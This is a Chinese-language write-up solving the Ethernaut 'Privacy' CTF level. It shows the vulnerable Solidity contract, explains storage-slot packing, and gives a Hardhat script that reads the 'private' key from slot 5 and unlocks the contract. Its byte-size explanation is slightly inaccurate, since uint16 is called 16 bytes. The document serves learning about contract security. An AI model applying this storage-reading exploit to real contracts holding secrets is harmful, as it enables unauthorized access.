开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。
任务:其实就是获取data[2]
的值,然后调用unlock
传入将locked
设置为false
。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
这道题和第8题-vault相似,考察的是如何获取合约中的变量,以及状态变量在储存中的布局概念。
关于储存布局,这里有更详细的解读:https://learnblockchain.cn/books/geth/part7/storage.html
简单说就是合约的储存是32个字节一个插槽,如果前面和后面的数据不足32字节,则可以合并为一个。比如此合约中的三个连续uint
变量,字节大小为1+1+16<32
(uint256
是32字节,uint8
则是1字节),所以合并为一个插槽。data
是一个bytes32
的数组,数组中的元素都是32字节,则分别占一个插槽,所以data[2]
其实是第5个插槽,可以通过getStorageAt(address,5)
来获取。
那么测试脚本可以这么写:
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
describe("test", function () {
var Privacy;
it("init params", async function () {
[deployer, ...users] = await ethers.getSigners();
});
it("deploy", async function () {
const PrivacyInstance = await ethers.getContractFactory("Privacy");
Privacy = await PrivacyInstance.deploy([
ethers.utils.formatBytes32String("ETH1"),
ethers.utils.formatBytes32String("ETH2"),
ethers.utils.formatBytes32String("ETH3"),
]);
// Privacy = await PrivacyInstance.deploy([
// ethers.utils.formatBytes32String("ETH1").slice(0, 34),
// ethers.utils.formatBytes32String("ETH2").slice(0, 34),
// ethers.utils.formatBytes32String("ETH3").slice(0, 34),
// ]);
});
it("hack test", async function () {
const r = await ethers.provider.getStorageAt(Privacy.address, 5);
expect(ethers.utils.parseBytes32String(r)).to.equal("ETH3");
const key = r.slice(0, 34);
await Privacy.unlock(key);
expect(await Privacy.locked()).to.equal(false);
});
});
测试结果:
备注:为了体验一下插槽与储存布局的概念,可以将data
设置为bytes16
,然后将测试脚本的注释部分运行一遍看看效果。也可以将uint8
变量分别设置为uint128
或者uint256
试试看。
Github:hardhat测试仓库
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!